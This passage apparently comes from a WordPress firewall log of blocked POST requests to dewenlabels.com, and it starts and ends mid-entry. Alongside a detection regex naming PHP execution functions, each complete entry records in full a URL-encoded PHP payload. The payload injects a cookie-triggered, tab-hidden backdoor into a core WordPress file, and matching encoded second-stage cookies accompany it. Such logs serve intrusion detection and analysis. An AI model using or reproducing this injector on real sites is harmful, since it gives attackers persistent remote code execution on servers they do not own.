%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:53:16","91.142.222.105","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-request.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-14%252B15%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30%252B-26%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524value%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524itm%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278a1cc38b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524itm%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522unit_converter%2522%253B%2520%257D%2520%2524hld%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524itm%2529%2529%2520%257B%2520%2524sym%2520%253D%2520fopen%2528%2524itm%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524sym%252C%2520%2524hld%2529%253B%2520fclose%2528%2524sym%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524itm%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524itm%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524factor%2520%253D%2520%2522071bd2eff294360b719028e6e17650c4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522system_core_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLHLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-length:4307\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-fetch-mode:navigate\n\naF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-request.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-14%252B15%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30%252B-26%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524value%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524itm%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278a1cc38b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524itm%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522unit_converter%2522%253B%2520%257D%2520%2524hld%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524itm%2529%2529%2520%257B%2520%2524sym%2520%253D%2520fopen%2528%2524itm%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524sym%252C%2520%2524hld%2529%253B%2520fclose%2528%2524sym%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524itm%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524itm%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524factor%2520%253D%2520%2522071bd2eff294360b719028e6e17650c4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522system_core_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:53:25","41.76.213.235","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-request.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-14%252B15%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30%252B-26%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524value%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524itm%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278a1cc38b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524itm%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522unit_converter%2522%253B%2520%257D%2520%2524hld%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524itm%2529%2529%2520%257B%2520%2524sym%2520%253D%2520fopen%2528%2524itm%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524sym%252C%2520%2524hld%2529%253B%2520fclose%2528%2524sym%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524itm%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524itm%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524factor%2520%253D%2520%2522071bd2eff294360b719028e6e17650c4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522system_core_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD0xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4307\n\nCI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-request.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-14%252B15%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30%252B-26%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524value%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524itm%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278a1cc38b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524itm%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522unit_converter%2522%253B%2520%257D%2520%2524hld%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524itm%2529%2529%2520%257B%2520%2524sym%2520%253D%2520fopen%2528%2524itm%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524sym%252C%2520%2524hld%2529%253B%2520fclose%2528%2524sym%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524itm%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524itm%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524factor%2520%253D%2520%2522071bd2eff294360b719028e6e17650c4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522system_core_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:54:23","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-request.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-14%252B15%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30%252B-26%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524value%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524itm%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278a1cc38b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524itm%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522unit_converter%2522%253B%2520%257D%2520%2524hld%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524itm%2529%2529%2520%257B%2520%2524sym%2520%253D%2520fopen%2528%2524itm%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524sym%252C%2520%2524hld%2529%253B%2520fclose%2528%2524sym%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524itm%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524itm%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524factor%2520%253D%2520%2522071bd2eff294360b719028e6e17650c4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522system_core_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqTZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-length:4307\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-fetch-mode:navigate\n\ntc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-request.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-14%252B15%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30%252B-26%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524value%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524itm%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278a1cc38b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524itm%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522unit_converter%2522%253B%2520%257D%2520%2524hld%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524itm%2529%2529%2520%257B%2520%2524sym%2520%253D%2520fopen%2528%2524itm%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524sym%252C%2520%2524hld%2529%253B%2520fclose%2528%2524sym%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524itm%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524itm%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524factor%2520%253D%2520%2522071bd2eff294360b719028e6e17650c4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522system_core_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:54:30","50.6.7.129","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 